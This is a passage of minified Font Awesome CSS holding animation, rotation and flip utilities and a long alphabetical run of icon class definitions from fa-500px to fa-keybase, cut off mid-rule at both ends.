fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scaleX(-1);transform:scaleX(-1)}.fa-flip-vertical{-webkit-transform:scaleY(-1);transform:scaleY(-1)}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical,.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical{-webkit-transform:scale(-1);transform:scale(-1)}:root .fa-flip-both,:root .fa-flip-horizontal,:root .fa-flip-vertical,:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270{-webkit-filter:none;filter:none}.fa-stack{display:inline-block;height:2em;line-height:2em;position:relative;vertical-align:middle;width:2.5em}.fa-stack-1x,.fa-stack-2x{left:0;position:absolute;text-align:center;width:100%}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-500px:before{content:"\f26e"}.fa-accessible-icon:before{content:"\f368"}.fa-accusoft:before{content:"\f369"}.fa-acquisitions-incorporated:before{content:"\f6af"}.fa-ad:before{content:"\f641"}.fa-address-book:before{content:"\f2b9"}.fa-address-card:before{content:"\f2bb"}.fa-adjust:before{content:"\f042"}.fa-adn:before{content:"\f170"}.fa-adobe:before{content:"\f778"}.fa-adversal:before{content:"\f36a"}.fa-affiliatetheme:before{content:"\f36b"}.fa-air-freshener:before{content:"\f5d0"}.fa-airbnb:before{content:"\f834"}.fa-algolia:before{content:"\f36c"}.fa-align-center:before{content:"\f037"}.fa-align-justify:before{content:"\f039"}.fa-align-left:before{content:"\f036"}.fa-align-right:before{content:"\f038"}.fa-alipay:before{content:"\f642"}.fa-allergies:before{content:"\f461"}.fa-amazon:before{content:"\f270"}.fa-amazon-pay:before{content:"\f42c"}.fa-ambulance:before{content:"\f0f9"}.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-amilia:before{content:"\f36d"}.fa-anchor:before{content:"\f13d"}.fa-android:before{content:"\f17b"}.fa-angellist:before{content:"\f209"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-down:before{content:"\f107"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angry:before{content:"\f556"}.fa-angrycreative:before{content:"\f36e"}.fa-angular:before{content:"\f420"}.fa-ankh:before{content:"\f644"}.fa-app-store:before{content:"\f36f"}.fa-app-store-ios:before{content:"\f370"}.fa-apper:before{content:"\f371"}.fa-apple:before{content:"\f179"}.fa-apple-alt:before{content:"\f5d1"}.fa-apple-pay:before{content:"\f415"}.fa-archive:before{content:"\f187"}.fa-archway:before{content:"\f557"}.fa-arrow-alt-circle-down:before{content:"\f358"}.fa-arrow-alt-circle-left:before{content:"\f359"}.fa-arrow-alt-circle-right:before{content:"\f35a"}.fa-arrow-alt-circle-up:before{content:"\f35b"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-down:before{content:"\f063"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrows-alt:before{content:"\f0b2"}.fa-arrows-alt-h:before{content:"\f337"}.fa-arrows-alt-v:before{content:"\f338"}.fa-artstation:before{content:"\f77a"}.fa-assistive-listening-systems:before{content:"\f2a2"}.fa-asterisk:before{content:"\f069"}.fa-asymmetrik:before{content:"\f372"}.fa-at:before{content:"\f1fa"}.fa-atlas:before{content:"\f558"}.fa-atlassian:before{content:"\f77b"}.fa-atom:before{content:"\f5d2"}.fa-audible:before{content:"\f373"}.fa-audio-description:before{content:"\f29e"}.fa-autoprefixer:before{content:"\f41c"}.fa-avianex:before{content:"\f374"}.fa-aviato:before{content:"\f421"}.fa-award:before{content:"\f559"}.fa-aws:before{content:"\f375"}.fa-baby:before{content:"\f77c"}.fa-baby-carriage:before{content:"\f77d"}.fa-backspace:before{content:"\f55a"}.fa-backward:before{content:"\f04a"}.fa-bacon:before{content:"\f7e5"}.fa-balance-scale:before{content:"\f24e"}.fa-balance-scale-left:before{content:"\f515"}.fa-balance-scale-right:before{content:"\f516"}.fa-ban:before{content:"\f05e"}.fa-band-aid:before{content:"\f462"}.fa-bandcamp:before{content:"\f2d5"}.fa-barcode:before{content:"\f02a"}.fa-bars:before{content:"\f0c9"}.fa-baseball-ball:before{content:"\f433"}.fa-basketball-ball:before{content:"\f434"}.fa-bath:before{content:"\f2cd"}.fa-battery-empty:before{content:"\f244"}.fa-battery-full:before{content:"\f240"}.fa-battery-half:before{content:"\f242"}.fa-battery-quarter:before{content:"\f243"}.fa-battery-three-quarters:before{content:"\f241"}.fa-battle-net:before{content:"\f835"}.fa-bed:before{content:"\f236"}.fa-beer:before{content:"\f0fc"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-bell:before{content:"\f0f3"}.fa-bell-slash:before{content:"\f1f6"}.fa-bezier-curve:before{content:"\f55b"}.fa-bible:before{content:"\f647"}.fa-bicycle:before{content:"\f206"}.fa-biking:before{content:"\f84a"}.fa-bimobject:before{content:"\f378"}.fa-binoculars:before{content:"\f1e5"}.fa-biohazard:before{content:"\f780"}.fa-birthday-cake:before{content:"\f1fd"}.fa-bitbucket:before{content:"\f171"}.fa-bitcoin:before{content:"\f379"}.fa-bity:before{content:"\f37a"}.fa-black-tie:before{content:"\f27e"}.fa-blackberry:before{content:"\f37b"}.fa-blender:before{content:"\f517"}.fa-blender-phone:before{content:"\f6b6"}.fa-blind:before{content:"\f29d"}.fa-blog:before{content:"\f781"}.fa-blogger:before{content:"\f37c"}.fa-blogger-b:before{content:"\f37d"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-bold:before{content:"\f032"}.fa-bolt:before{content:"\f0e7"}.fa-bomb:before{content:"\f1e2"}.fa-bone:before{content:"\f5d7"}.fa-bong:before{content:"\f55c"}.fa-book:before{content:"\f02d"}.fa-book-dead:before{content:"\f6b7"}.fa-book-medical:before{content:"\f7e6"}.fa-book-open:before{content:"\f518"}.fa-book-reader:before{content:"\f5da"}.fa-bookmark:before{content:"\f02e"}.fa-bootstrap:before{content:"\f836"}.fa-border-all:before{content:"\f84c"}.fa-border-none:before{content:"\f850"}.fa-border-style:before{content:"\f853"}.fa-bowling-ball:before{content:"\f436"}.fa-box:before{content:"\f466"}.fa-box-open:before{content:"\f49e"}.fa-boxes:before{content:"\f468"}.fa-braille:before{content:"\f2a1"}.fa-brain:before{content:"\f5dc"}.fa-bread-slice:before{content:"\f7ec"}.fa-briefcase:before{content:"\f0b1"}.fa-briefcase-medical:before{content:"\f469"}.fa-broadcast-tower:before{content:"\f519"}.fa-broom:before{content:"\f51a"}.fa-brush:before{content:"\f55d"}.fa-btc:before{content:"\f15a"}.fa-buffer:before{content:"\f837"}.fa-bug:before{content:"\f188"}.fa-building:before{content:"\f1ad"}.fa-bullhorn:before{content:"\f0a1"}.fa-bullseye:before{content:"\f140"}.fa-burn:before{content:"\f46a"}.fa-buromobelexperte:before{content:"\f37f"}.fa-bus:before{content:"\f207"}.fa-bus-alt:before{content:"\f55e"}.fa-business-time:before{content:"\f64a"}.fa-buy-n-large:before{content:"\f8a6"}.fa-buysellads:before{content:"\f20d"}.fa-calculator:before{content:"\f1ec"}.fa-calendar:before{content:"\f133"}.fa-calendar-alt:before{content:"\f073"}.fa-calendar-check:before{content:"\f274"}.fa-calendar-day:before{content:"\f783"}.fa-calendar-minus:before{content:"\f272"}.fa-calendar-plus:before{content:"\f271"}.fa-calendar-times:before{content:"\f273"}.fa-calendar-week:before{content:"\f784"}.fa-camera:before{content:"\f030"}.fa-camera-retro:before{content:"\f083"}.fa-campground:before{content:"\f6bb"}.fa-canadian-maple-leaf:before{content:"\f785"}.fa-candy-cane:before{content:"\f786"}.fa-cannabis:before{content:"\f55f"}.fa-capsules:before{content:"\f46b"}.fa-car:before{content:"\f1b9"}.fa-car-alt:before{content:"\f5de"}.fa-car-battery:before{content:"\f5df"}.fa-car-crash:before{content:"\f5e1"}.fa-car-side:before{content:"\f5e4"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-caret-square-down:before{content:"\f150"}.fa-caret-square-left:before{content:"\f191"}.fa-caret-square-right:before{content:"\f152"}.fa-caret-square-up:before{content:"\f151"}.fa-caret-up:before{content:"\f0d8"}.fa-carrot:before{content:"\f787"}.fa-cart-arrow-down:before{content:"\f218"}.fa-cart-plus:before{content:"\f217"}.fa-cash-register:before{content:"\f788"}.fa-cat:before{content:"\f6be"}.fa-cc-amazon-pay:before{content:"\f42d"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-apple-pay:before{content:"\f416"}.fa-cc-diners-club:before{content:"\f24c"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-cc-visa:before{content:"\f1f0"}.fa-centercode:before{content:"\f380"}.fa-centos:before{content:"\f789"}.fa-certificate:before{content:"\f0a3"}.fa-chair:before{content:"\f6c0"}.fa-chalkboard:before{content:"\f51b"}.fa-chalkboard-teacher:before{content:"\f51c"}.fa-charging-station:before{content:"\f5e7"}.fa-chart-area:before{content:"\f1fe"}.fa-chart-bar:before{content:"\f080"}.fa-chart-line:before{content:"\f201"}.fa-chart-pie:before{content:"\f200"}.fa-check:before{content:"\f00c"}.fa-check-circle:before{content:"\f058"}.fa-check-double:before{content:"\f560"}.fa-check-square:before{content:"\f14a"}.fa-cheese:before{content:"\f7ef"}.fa-chess:before{content:"\f439"}.fa-chess-bishop:before{content:"\f43a"}.fa-chess-board:before{content:"\f43c"}.fa-chess-king:before{content:"\f43f"}.fa-chess-knight:before{content:"\f441"}.fa-chess-pawn:before{content:"\f443"}.fa-chess-queen:before{content:"\f445"}.fa-chess-rook:before{content:"\f447"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-down:before{content:"\f078"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-chevron-up:before{content:"\f077"}.fa-child:before{content:"\f1ae"}.fa-chrome:before{content:"\f268"}.fa-chromecast:before{content:"\f838"}.fa-church:before{content:"\f51d"}.fa-circle:before{content:"\f111"}.fa-circle-notch:before{content:"\f1ce"}.fa-city:before{content:"\f64f"}.fa-clinic-medical:before{content:"\f7f2"}.fa-clipboard:before{content:"\f328"}.fa-clipboard-check:before{content:"\f46c"}.fa-clipboard-list:before{content:"\f46d"}.fa-clock:before{content:"\f017"}.fa-clone:before{content:"\f24d"}.fa-closed-captioning:before{content:"\f20a"}.fa-cloud:before{content:"\f0c2"}.fa-cloud-download-alt:before{content:"\f381"}.fa-cloud-meatball:before{content:"\f73b"}.fa-cloud-moon:before{content:"\f6c3"}.fa-cloud-moon-rain:before{content:"\f73c"}.fa-cloud-rain:before{content:"\f73d"}.fa-cloud-showers-heavy:before{content:"\f740"}.fa-cloud-sun:before{content:"\f6c4"}.fa-cloud-sun-rain:before{content:"\f743"}.fa-cloud-upload-alt:before{content:"\f382"}.fa-cloudscale:before{content:"\f383"}.fa-cloudsmith:before{content:"\f384"}.fa-cloudversify:before{content:"\f385"}.fa-cocktail:before{content:"\f561"}.fa-code:before{content:"\f121"}.fa-code-branch:before{content:"\f126"}.fa-codepen:before{content:"\f1cb"}.fa-codiepie:before{content:"\f284"}.fa-coffee:before{content:"\f0f4"}.fa-cog:before{content:"\f013"}.fa-cogs:before{content:"\f085"}.fa-coins:before{content:"\f51e"}.fa-columns:before{content:"\f0db"}.fa-comment:before{content:"\f075"}.fa-comment-alt:before{content:"\f27a"}.fa-comment-dollar:before{content:"\f651"}.fa-comment-dots:before{content:"\f4ad"}.fa-comment-medical:before{content:"\f7f5"}.fa-comment-slash:before{content:"\f4b3"}.fa-comments:before{content:"\f086"}.fa-comments-dollar:before{content:"\f653"}.fa-compact-disc:before{content:"\f51f"}.fa-compass:before{content:"\f14e"}.fa-compress:before{content:"\f066"}.fa-compress-arrows-alt:before{content:"\f78c"}.fa-concierge-bell:before{content:"\f562"}.fa-confluence:before{content:"\f78d"}.fa-connectdevelop:before{content:"\f20e"}.fa-contao:before{content:"\f26d"}.fa-cookie:before{content:"\f563"}.fa-cookie-bite:before{content:"\f564"}.fa-copy:before{content:"\f0c5"}.fa-copyright:before{content:"\f1f9"}.fa-cotton-bureau:before{content:"\f89e"}.fa-couch:before{content:"\f4b8"}.fa-cpanel:before{content:"\f388"}.fa-creative-commons:before{content:"\f25e"}.fa-creative-commons-by:before{content:"\f4e7"}.fa-creative-commons-nc:before{content:"\f4e8"}.fa-creative-commons-nc-eu:before{content:"\f4e9"}.fa-creative-commons-nc-jp:before{content:"\f4ea"}.fa-creative-commons-nd:before{content:"\f4eb"}.fa-creative-commons-pd:before{content:"\f4ec"}.fa-creative-commons-pd-alt:before{content:"\f4ed"}.fa-creative-commons-remix:before{content:"\f4ee"}.fa-creative-commons-sa:before{content:"\f4ef"}.fa-creative-commons-sampling:before{content:"\f4f0"}.fa-creative-commons-sampling-plus:before{content:"\f4f1"}.fa-creative-commons-share:before{content:"\f4f2"}.fa-creative-commons-zero:before{content:"\f4f3"}.fa-credit-card:before{content:"\f09d"}.fa-critical-role:before{content:"\f6c9"}.fa-crop:before{content:"\f125"}.fa-crop-alt:before{content:"\f565"}.fa-cross:before{content:"\f654"}.fa-crosshairs:before{content:"\f05b"}.fa-crow:before{content:"\f520"}.fa-crown:before{content:"\f521"}.fa-crutch:before{content:"\f7f7"}.fa-css3:before{content:"\f13c"}.fa-css3-alt:before{content:"\f38b"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-cut:before{content:"\f0c4"}.fa-cuttlefish:before{content:"\f38c"}.fa-d-and-d:before{content:"\f38d"}.fa-d-and-d-beyond:before{content:"\f6ca"}.fa-dashcube:before{content:"\f210"}.fa-database:before{content:"\f1c0"}.fa-deaf:before{content:"\f2a4"}.fa-delicious:before{content:"\f1a5"}.fa-democrat:before{content:"\f747"}.fa-deploydog:before{content:"\f38e"}.fa-deskpro:before{content:"\f38f"}.fa-desktop:before{content:"\f108"}.fa-dev:before{content:"\f6cc"}.fa-deviantart:before{content:"\f1bd"}.fa-dharmachakra:before{content:"\f655"}.fa-dhl:before{content:"\f790"}.fa-diagnoses:before{content:"\f470"}.fa-diaspora:before{content:"\f791"}.fa-dice:before{content:"\f522"}.fa-dice-d20:before{content:"\f6cf"}.fa-dice-d6:before{content:"\f6d1"}.fa-dice-five:before{content:"\f523"}.fa-dice-four:before{content:"\f524"}.fa-dice-one:before{content:"\f525"}.fa-dice-six:before{content:"\f526"}.fa-dice-three:before{content:"\f527"}.fa-dice-two:before{content:"\f528"}.fa-digg:before{content:"\f1a6"}.fa-digital-ocean:before{content:"\f391"}.fa-digital-tachograph:before{content:"\f566"}.fa-directions:before{content:"\f5eb"}.fa-discord:before{content:"\f392"}.fa-discourse:before{content:"\f393"}.fa-divide:before{content:"\f529"}.fa-dizzy:before{content:"\f567"}.fa-dna:before{content:"\f471"}.fa-dochub:before{content:"\f394"}.fa-docker:before{content:"\f395"}.fa-dog:before{content:"\f6d3"}.fa-dollar-sign:before{content:"\f155"}.fa-dolly:before{content:"\f472"}.fa-dolly-flatbed:before{content:"\f474"}.fa-donate:before{content:"\f4b9"}.fa-door-closed:before{content:"\f52a"}.fa-door-open:before{content:"\f52b"}.fa-dot-circle:before{content:"\f192"}.fa-dove:before{content:"\f4ba"}.fa-download:before{content:"\f019"}.fa-draft2digital:before{content:"\f396"}.fa-drafting-compass:before{content:"\f568"}.fa-dragon:before{content:"\f6d5"}.fa-draw-polygon:before{content:"\f5ee"}.fa-dribbble:before{content:"\f17d"}.fa-dribbble-square:before{content:"\f397"}.fa-dropbox:before{content:"\f16b"}.fa-drum:before{content:"\f569"}.fa-drum-steelpan:before{content:"\f56a"}.fa-drumstick-bite:before{content:"\f6d7"}.fa-drupal:before{content:"\f1a9"}.fa-dumbbell:before{content:"\f44b"}.fa-dumpster:before{content:"\f793"}.fa-dumpster-fire:before{content:"\f794"}.fa-dungeon:before{content:"\f6d9"}.fa-dyalog:before{content:"\f399"}.fa-earlybirds:before{content:"\f39a"}.fa-ebay:before{content:"\f4f4"}.fa-edge:before{content:"\f282"}.fa-edit:before{content:"\f044"}.fa-egg:before{content:"\f7fb"}.fa-eject:before{content:"\f052"}.fa-elementor:before{content:"\f430"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-ello:before{content:"\f5f1"}.fa-ember:before{content:"\f423"}.fa-empire:before{content:"\f1d1"}.fa-envelope:before{content:"\f0e0"}.fa-envelope-open:before{content:"\f2b6"}.fa-envelope-open-text:before{content:"\f658"}.fa-envelope-square:before{content:"\f199"}.fa-envira:before{content:"\f299"}.fa-equals:before{content:"\f52c"}.fa-eraser:before{content:"\f12d"}.fa-erlang:before{content:"\f39d"}.fa-ethereum:before{content:"\f42e"}.fa-ethernet:before{content:"\f796"}.fa-etsy:before{content:"\f2d7"}.fa-euro-sign:before{content:"\f153"}.fa-evernote:before{content:"\f839"}.fa-exchange-alt:before{content:"\f362"}.fa-exclamation:before{content:"\f12a"}.fa-exclamation-circle:before{content:"\f06a"}.fa-exclamation-triangle:before{content:"\f071"}.fa-expand:before{content:"\f065"}.fa-expand-arrows-alt:before{content:"\f31e"}.fa-expeditedssl:before{content:"\f23e"}.fa-external-link-alt:before{content:"\f35d"}.fa-external-link-square-alt:before{content:"\f360"}.fa-eye:before{content:"\f06e"}.fa-eye-dropper:before{content:"\f1fb"}.fa-eye-slash:before{content:"\f070"}.fa-facebook:before{content:"\f09a"}.fa-facebook-f:before{content:"\f39e"}.fa-facebook-messenger:before{content:"\f39f"}.fa-facebook-square:before{content:"\f082"}.fa-fan:before{content:"\f863"}.fa-fantasy-flight-games:before{content:"\f6dc"}.fa-fast-backward:before{content:"\f049"}.fa-fast-forward:before{content:"\f050"}.fa-fax:before{content:"\f1ac"}.fa-feather:before{content:"\f52d"}.fa-feather-alt:before{content:"\f56b"}.fa-fedex:before{content:"\f797"}.fa-fedora:before{content:"\f798"}.fa-female:before{content:"\f182"}.fa-fighter-jet:before{content:"\f0fb"}.fa-figma:before{content:"\f799"}.fa-file:before{content:"\f15b"}.fa-file-alt:before{content:"\f15c"}.fa-file-archive:before{content:"\f1c6"}.fa-file-audio:before{content:"\f1c7"}.fa-file-code:before{content:"\f1c9"}.fa-file-contract:before{content:"\f56c"}.fa-file-csv:before{content:"\f6dd"}.fa-file-download:before{content:"\f56d"}.fa-file-excel:before{content:"\f1c3"}.fa-file-export:before{content:"\f56e"}.fa-file-image:before{content:"\f1c5"}.fa-file-import:before{content:"\f56f"}.fa-file-invoice:before{content:"\f570"}.fa-file-invoice-dollar:before{content:"\f571"}.fa-file-medical:before{content:"\f477"}.fa-file-medical-alt:before{content:"\f478"}.fa-file-pdf:before{content:"\f1c1"}.fa-file-powerpoint:before{content:"\f1c4"}.fa-file-prescription:before{content:"\f572"}.fa-file-signature:before{content:"\f573"}.fa-file-upload:before{content:"\f574"}.fa-file-video:before{content:"\f1c8"}.fa-file-word:before{content:"\f1c2"}.fa-fill:before{content:"\f575"}.fa-fill-drip:before{content:"\f576"}.fa-film:before{content:"\f008"}.fa-filter:before{content:"\f0b0"}.fa-fingerprint:before{content:"\f577"}.fa-fire:before{content:"\f06d"}.fa-fire-alt:before{content:"\f7e4"}.fa-fire-extinguisher:before{content:"\f134"}.fa-firefox:before{content:"\f269"}.fa-first-aid:before{content:"\f479"}.fa-first-order:before{content:"\f2b0"}.fa-first-order-alt:before{content:"\f50a"}.fa-firstdraft:before{content:"\f3a1"}.fa-fish:before{content:"\f578"}.fa-fist-raised:before{content:"\f6de"}.fa-flag:before{content:"\f024"}.fa-flag-checkered:before{content:"\f11e"}.fa-flag-usa:before{content:"\f74d"}.fa-flask:before{content:"\f0c3"}.fa-flickr:before{content:"\f16e"}.fa-flipboard:before{content:"\f44d"}.fa-flushed:before{content:"\f579"}.fa-fly:before{content:"\f417"}.fa-folder:before{content:"\f07b"}.fa-folder-minus:before{content:"\f65d"}.fa-folder-open:before{content:"\f07c"}.fa-folder-plus:before{content:"\f65e"}.fa-font:before{content:"\f031"}.fa-font-awesome:before{content:"\f2b4"}.fa-font-awesome-alt:before{content:"\f35c"}.fa-font-awesome-flag:before{content:"\f425"}.fa-font-awesome-logo-full:before{content:"\f4e6"}.fa-fonticons:before{content:"\f280"}.fa-fonticons-fi:before{content:"\f3a2"}.fa-football-ball:before{content:"\f44e"}.fa-fort-awesome:before{content:"\f286"}.fa-fort-awesome-alt:before{content:"\f3a3"}.fa-forumbee:before{content:"\f211"}.fa-forward:before{content:"\f04e"}.fa-foursquare:before{content:"\f180"}.fa-free-code-camp:before{content:"\f2c5"}.fa-freebsd:before{content:"\f3a4"}.fa-frog:before{content:"\f52e"}.fa-frown:before{content:"\f119"}.fa-frown-open:before{content:"\f57a"}.fa-fulcrum:before{content:"\f50b"}.fa-funnel-dollar:before{content:"\f662"}.fa-futbol:before{content:"\f1e3"}.fa-galactic-republic:before{content:"\f50c"}.fa-galactic-senate:before{content:"\f50d"}.fa-gamepad:before{content:"\f11b"}.fa-gas-pump:before{content:"\f52f"}.fa-gavel:before{content:"\f0e3"}.fa-gem:before{content:"\f3a5"}.fa-genderless:before{content:"\f22d"}.fa-get-pocket:before{content:"\f265"}.fa-gg:before{content:"\f260"}.fa-gg-circle:before{content:"\f261"}.fa-ghost:before{content:"\f6e2"}.fa-gift:before{content:"\f06b"}.fa-gifts:before{content:"\f79c"}.fa-git:before{content:"\f1d3"}.fa-git-alt:before{content:"\f841"}.fa-git-square:before{content:"\f1d2"}.fa-github:before{content:"\f09b"}.fa-github-alt:before{content:"\f113"}.fa-github-square:before{content:"\f092"}.fa-gitkraken:before{content:"\f3a6"}.fa-gitlab:before{content:"\f296"}.fa-gitter:before{content:"\f426"}.fa-glass-cheers:before{content:"\f79f"}.fa-glass-martini:before{content:"\f000"}.fa-glass-martini-alt:before{content:"\f57b"}.fa-glass-whiskey:before{content:"\f7a0"}.fa-glasses:before{content:"\f530"}.fa-glide:before{content:"\f2a5"}.fa-glide-g:before{content:"\f2a6"}.fa-globe:before{content:"\f0ac"}.fa-globe-africa:before{content:"\f57c"}.fa-globe-americas:before{content:"\f57d"}.fa-globe-asia:before{content:"\f57e"}.fa-globe-europe:before{content:"\f7a2"}.fa-gofore:before{content:"\f3a7"}.fa-golf-ball:before{content:"\f450"}.fa-goodreads:before{content:"\f3a8"}.fa-goodreads-g:before{content:"\f3a9"}.fa-google:before{content:"\f1a0"}.fa-google-drive:before{content:"\f3aa"}.fa-google-play:before{content:"\f3ab"}.fa-google-plus:before{content:"\f2b3"}.fa-google-plus-g:before{content:"\f0d5"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-wallet:before{content:"\f1ee"}.fa-gopuram:before{content:"\f664"}.fa-graduation-cap:before{content:"\f19d"}.fa-gratipay:before{content:"\f184"}.fa-grav:before{content:"\f2d6"}.fa-greater-than:before{content:"\f531"}.fa-greater-than-equal:before{content:"\f532"}.fa-grimace:before{content:"\f57f"}.fa-grin:before{content:"\f580"}.fa-grin-alt:before{content:"\f581"}.fa-grin-beam:before{content:"\f582"}.fa-grin-beam-sweat:before{content:"\f583"}.fa-grin-hearts:before{content:"\f584"}.fa-grin-squint:before{content:"\f585"}.fa-grin-squint-tears:before{content:"\f586"}.fa-grin-stars:before{content:"\f587"}.fa-grin-tears:before{content:"\f588"}.fa-grin-tongue:before{content:"\f589"}.fa-grin-tongue-squint:before{content:"\f58a"}.fa-grin-tongue-wink:before{content:"\f58b"}.fa-grin-wink:before{content:"\f58c"}.fa-grip-horizontal:before{content:"\f58d"}.fa-grip-lines:before{content:"\f7a4"}.fa-grip-lines-vertical:before{content:"\f7a5"}.fa-grip-vertical:before{content:"\f58e"}.fa-gripfire:before{content:"\f3ac"}.fa-grunt:before{content:"\f3ad"}.fa-guitar:before{content:"\f7a6"}.fa-gulp:before{content:"\f3ae"}.fa-h-square:before{content:"\f0fd"}.fa-hacker-news:before{content:"\f1d4"}.fa-hacker-news-square:before{content:"\f3af"}.fa-hackerrank:before{content:"\f5f7"}.fa-hamburger:before{content:"\f805"}.fa-hammer:before{content:"\f6e3"}.fa-hamsa:before{content:"\f665"}.fa-hand-holding:before{content:"\f4bd"}.fa-hand-holding-heart:before{content:"\f4be"}.fa-hand-holding-usd:before{content:"\f4c0"}.fa-hand-lizard:before{content:"\f258"}.fa-hand-middle-finger:before{content:"\f806"}.fa-hand-paper:before{content:"\f256"}.fa-hand-peace:before{content:"\f25b"}.fa-hand-point-down:before{content:"\f0a7"}.fa-hand-point-left:before{content:"\f0a5"}.fa-hand-point-right:before{content:"\f0a4"}.fa-hand-point-up:before{content:"\f0a6"}.fa-hand-pointer:before{content:"\f25a"}.fa-hand-rock:before{content:"\f255"}.fa-hand-scissors:before{content:"\f257"}.fa-hand-spock:before{content:"\f259"}.fa-hands:before{content:"\f4c2"}.fa-hands-helping:before{content:"\f4c4"}.fa-handshake:before{content:"\f2b5"}.fa-hanukiah:before{content:"\f6e6"}.fa-hard-hat:before{content:"\f807"}.fa-hashtag:before{content:"\f292"}.fa-hat-cowboy:before{content:"\f8c0"}.fa-hat-cowboy-side:before{content:"\f8c1"}.fa-hat-wizard:before{content:"\f6e8"}.fa-haykal:before{content:"\f666"}.fa-hdd:before{content:"\f0a0"}.fa-heading:before{content:"\f1dc"}.fa-headphones:before{content:"\f025"}.fa-headphones-alt:before{content:"\f58f"}.fa-headset:before{content:"\f590"}.fa-heart:before{content:"\f004"}.fa-heart-broken:before{content:"\f7a9"}.fa-heartbeat:before{content:"\f21e"}.fa-helicopter:before{content:"\f533"}.fa-highlighter:before{content:"\f591"}.fa-hiking:before{content:"\f6ec"}.fa-hippo:before{content:"\f6ed"}.fa-hips:before{content:"\f452"}.fa-hire-a-helper:before{content:"\f3b0"}.fa-history:before{content:"\f1da"}.fa-hockey-puck:before{content:"\f453"}.fa-holly-berry:before{content:"\f7aa"}.fa-home:before{content:"\f015"}.fa-hooli:before{content:"\f427"}.fa-hornbill:before{content:"\f592"}.fa-horse:before{content:"\f6f0"}.fa-horse-head:before{content:"\f7ab"}.fa-hospital:before{content:"\f0f8"}.fa-hospital-alt:before{content:"\f47d"}.fa-hospital-symbol:before{content:"\f47e"}.fa-hot-tub:before{content:"\f593"}.fa-hotdog:before{content:"\f80f"}.fa-hotel:before{content:"\f594"}.fa-hotjar:before{content:"\f3b1"}.fa-hourglass:before{content:"\f254"}.fa-hourglass-end:before{content:"\f253"}.fa-hourglass-half:before{content:"\f252"}.fa-hourglass-start:before{content:"\f251"}.fa-house-damage:before{content:"\f6f1"}.fa-houzz:before{content:"\f27c"}.fa-hryvnia:before{content:"\f6f2"}.fa-html5:before{content:"\f13b"}.fa-hubspot:before{content:"\f3b2"}.fa-i-cursor:before{content:"\f246"}.fa-ice-cream:before{content:"\f810"}.fa-icicles:before{content:"\f7ad"}.fa-icons:before{content:"\f86d"}.fa-id-badge:before{content:"\f2c1"}.fa-id-card:before{content:"\f2c2"}.fa-id-card-alt:before{content:"\f47f"}.fa-igloo:before{content:"\f7ae"}.fa-image:before{content:"\f03e"}.fa-images:before{content:"\f302"}.fa-imdb:before{content:"\f2d8"}.fa-inbox:before{content:"\f01c"}.fa-indent:before{content:"\f03c"}.fa-industry:before{content:"\f275"}.fa-infinity:before{content:"\f534"}.fa-info:before{content:"\f129"}.fa-info-circle:before{content:"\f05a"}.fa-instagram:before{content:"\f16d"}.fa-intercom:before{content:"\f7af"}.fa-internet-explorer:before{content:"\f26b"}.fa-invision:before{content:"\f7b0"}.fa-ioxhost:before{content:"\f208"}.fa-italic:before{content:"\f033"}.fa-itch-io:before{content:"\f83a"}.fa-itunes:before{content:"\f3b4"}.fa-itunes-note:before{content:"\f3b5"}.fa-java:before{content:"\f4e4"}.fa-jedi:before{content:"\f669"}.fa-jedi-order:before{content:"\f50e"}.fa-jenkins:before{content:"\f3b6"}.fa-jira:before{content:"\f7b1"}.fa-joget:before{content:"\f3b7"}.fa-joint:before{content:"\f595"}.fa-joomla:before{content:"\f1aa"}.fa-journal-whills:before{content:"\f66a"}.fa-js:before{content:"\f3b8"}.fa-js-square:before{content:"\f3b9"}.fa-jsfiddle:before{content:"\f1cc"}.fa-kaaba:before{content:"\f66b"}.fa-kaggle:before{content:"\f5fa"}.fa-key:before{content:"\f084"}.fa-keybase:be